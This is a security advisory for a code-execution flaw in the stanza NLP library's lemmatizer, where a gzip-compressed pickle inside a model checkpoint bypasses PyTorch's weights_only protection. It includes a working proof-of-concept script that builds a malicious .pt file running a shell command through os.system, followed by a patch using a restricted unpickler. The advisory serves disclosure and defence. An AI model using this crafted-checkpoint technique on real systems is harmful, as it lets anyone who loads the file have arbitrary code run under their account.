| Package | Affected versions | Patched versions |
|---|---|---|
| stanza | ≥ 1.14.0, < 1.15.0 | 1.15.0 |
Loading an attacker-supplied lemma .pt runs arbitrary code as the loading user. Since 1.14.0 the lemmatizer stores pos_dict as a gzip-compressed pickle in the checkpoint's dicts field (a bytes value). torch.load(weights_only=True) treats bytes as a primitive and passes it through unexamined, so its allowlist never sees the inner stream. Trainer.load then feeds those bytes to an unrestricted pickle.loads: the only bare pickle.loads in the tree. Result: weights_only=True gives no protection here, and model loading executes code.
Confirmed end-to-end against stanza 1.14.0 / PyTorch 2.13.0 / CPython 3.13.7: a crafted checkpoint whose payload __reduce__ returns (os.system, (cmd,)) ran the command at load time (marker file showed uid=501(...), executed_by=...).
A downstream user is vulnerable whenever they build a pipeline that loads a caller-supplied lemmatizer checkpoint. i.e. stanza.Pipeline(lang=..., processors="tokenize,pos,lemma", lemma_model_path="<attacker-influenced .pt>") (or any equivalent load of an untrusted/shared lemma model through a custom registry) - since that call routes straight into Trainer.load -> _unpack_pos_dict and executes the embedded pickle at construction time.
stanza/models/lemma/trainer.py:
# _pack_pos_dict (write side): pos_dict -> pickle -> gzip -> bytes, stored under checkpoint['dicts']
def _unpack_pos_dict(data): # line 54
buf = io.BytesIO(data)
with gzip.GzipFile(fileobj=buf, mode="rb") as gz:
raw = gz.read()
return pickle.loads(raw) # <-- unrestricted default unpickler
def load(self, filename, ...): # line 365
checkpoint = torch.load(filename, ..., weights_only=True) # outer allowlist; bytes pass through intact
...
if dicts_version == _DICTS_VERSION_POS: # dicts_version == 2 (current format)
self.pos_dict = _unpack_pos_dict(checkpoint['dicts']) # line 378, no validation
Reachable from the documented API. stanza.Pipeline(..., lemma_model_path=<file>) -> LemmaProcessor._set_up_model -> Trainer(model_file=…) -> Trainer.load. Any shared/distributed checkpoint, custom registry, or caller-supplied lemma_model_path reaches it. No checksum is applied to caller-supplied paths (MD5 verification exists only in the default registry download flow). Trigger is at pipeline construction, before any inference input is processed.
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freeNote: this is not the weights_only=False fallback fixed under CVE-2026-54499: the outer load stays safe; the exposure is entirely the inner pickle.
import gzip, io, os, pickle, tempfile, torch
from stanza.models.lemma.trainer import _unpack_pos_dict, _DICTS_VERSION_POS
MARKER = os.path.join(tempfile.gettempdir(), "stanza_lemma_poc_pwned")
class Payload:
def __reduce__(self):
return (os.system, ("id > %s 2>&1; echo executed_by=$(whoami) >> %s" % (MARKER, MARKER),))
buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode="wb") as gz: # same shape as _pack_pos_dict()
gz.write(pickle.dumps(Payload(), protocol=4))
ckpt = {"dicts": buf.getvalue(), "dicts_version": _DICTS_VERSION_POS}
pt = os.path.join(tempfile.gettempdir(), "evil_lemma.pt")
torch.save(ckpt, pt, _use_new_zipfile_serialization=False)
loaded = torch.load(pt, lambda s, l: s, weights_only=True) # SUCCEEDS; dicts is bytes, intact
_unpack_pos_dict(loaded["dicts"]) # == trainer.py:378 -> command runs
print("pwned:", open(MARKER).read().strip())
The PoC calls _unpack_pos_dict directly: the exact expression at trainer.py:378. Reaching it through stanza.Pipeline(...) additionally requires the crafted file to carry a well-formed config/vocab so load runs to line 378 (established by source review); the deserialization to execution step is confirmed at runtime.
Deserialize the inner stream with the RestrictedUnpickler the project already uses in stanza/models/common/doc.py (allowlists tuple/list/dict only):
from stanza.models.common.doc import RestrictedUnpickler
def _unpack_pos_dict(data):
buf = io.BytesIO(data)
with gzip.GzipFile(fileobj=buf, mode="rb") as gz:
raw = gz.read()
return RestrictedUnpickler(io.BytesIO(raw)).load()
A legitimate pos_dict is a nested {pos: {word: lemma}} string mapping no class/function globals, so it loads cleanly, while any os.system-style payload is rejected by find_class. JSON would work equally well (all keys/values are strings) and remove pickle from this path entirely. Apply to both _unpack_pos_dict and, for forward compatibility, _pack_pos_dict.